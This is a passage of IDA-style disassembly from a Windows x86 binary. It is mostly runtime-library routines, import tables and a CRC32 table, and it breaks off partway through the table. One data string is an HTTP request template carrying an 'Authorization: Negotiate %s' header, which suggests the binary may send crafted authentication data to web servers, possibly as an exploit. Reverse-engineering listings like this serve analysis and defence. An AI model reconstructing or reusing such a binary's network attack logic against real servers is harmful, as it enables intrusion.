sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A40 proc near jmp near ptr 71B2ACCBh sub_422A40 endp ; --------------------------------------------------------------------------- pop eax ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p nop jmp near ptr 71AB1B7Bh sub_422A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p jmp near ptr 27E0912h sub_422A4C endp ; --------------------------------------------------------------------------- db 1Bh ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4CDA48, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 2850000h nop pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_4CDA48, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4CDA48 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4CDCA4, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi call near ptr 2870000h nop test eax, eax jz short loc_422CCC mov dword_4CDCA4, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_436EF4 push edi push esi nop call near ptr 2860000h test eax, eax jz loc_422E6D mov dword_4CDCA4, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_4CDCA4 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27B0000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27B0000h test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2630000h nop mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_433C74 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDCA8 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25F0000h test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push edi nop call near ptr 25F07EDh test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_4CDCA8, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27B0000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27B0000h test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_4CDA48 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 25F07EDh mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 25B0000h, 25B01A0h, 25C0000h, 25C0619h, 25D0000h, 25D0AE8h dd 25D0B55h, 25E0000h, 25E00D8h, 25E0630h, 25F0000h, 25F07EDh dd 2600000h, 2600773h, 26009E3h dword_42403C dd 26009F6h ; DATA XREF: ___:0041F496r dd 2600A9Fh, 2600D4Fh, 2600D6Dh, 2610000h, 26102DDh, 2610350h dword_424058 dd 26108B1h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 2610993h, 2610C73h dword_424064 dd 2620000h ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 2620087h, 26204BDh dword_424070 dd 2630000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 26310C3h ; DATA XREF: sub_4168E9+Br dword_424078 dd 26318FCh ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2640000h, 2650000h dword_424084 dd 26508D5h ; DATA XREF: sub_40AB7C+36r dd 2650B6Eh dword_42408C dd 2650C0Ah ; DATA XREF: sub_4168E9:loc_41697Ar dd 2650C45h, 2660000h, 2670000h, 2680000h dword_4240A0 dd 2680B9Ah ; DATA XREF: sub_4165C6+32r dd 2690000h, 26903A8h, 269049Eh, 26A0000h, 26A070Dh, 26B0000h dword_4240BC dd 26C0000h ; DATA XREF: sub_408EE5+26r dd 26D0000h, 77F7E300h, 77F7E21Fh, 26D0B4Bh, 26E0000h dd 26E05F6h dword_4240D8 dd 26E0795h ; DATA XREF: sub_409037+BCr dword_4240DC dd 26F0000h ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 26F06E4h ; DATA XREF: sub_40981F:loc_409D0Fr dd 2700000h dword_4240E8 dd 2710000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 2710A69h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 2710B1Dh dword_4240F4 dd 2710DA3h ; DATA XREF: sub_409392+56r dd 2720000h, 2720470h dword_424100 dd 2720A08h ; DATA XREF: sub_40981F+2r dd 2730000h, 2740000h, 2740621h, 2740C1Ah, 2750000h, 275069Ch dd 2760000h, 276050Eh, 2770000h, 27710B7h, 27711C9h, 2780000h dd 278047Ch, 2780841h dword_42413C dd 2780E81h ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 2790000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 2791505h, 27A0000h, 77E75CB5h dword_424150 dd 27B0000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27C0000h, 27C0CF0h, 27C0DE9h dword_424160 dd 27D0000h ; DATA XREF: ___:loc_40E864r dd 27D0349h dword_424168 dd 27D0906h ; DATA XREF: sub_4165C6:loc_4166B2r dd 27D0A91h, 27D0B2Ah, 27D0BCEh, 27E0000h, 27E04E8h, 27E072Eh dd 27E07EAh, 27E0912h, 27F0000h, 2800000h, 2810000h, 2820000h dd 2821C5Eh, 2821C74h, 2830000h, 2830CA3h, 2840000h dword_4241B0 dd 284056Ah ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 28406AFh ; DATA XREF: sub_41B888:loc_41B8B9r dd 2840823h, 2850000h, 2850504h, 2860000h, 2870000h, 2871132h dd 28717FEh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 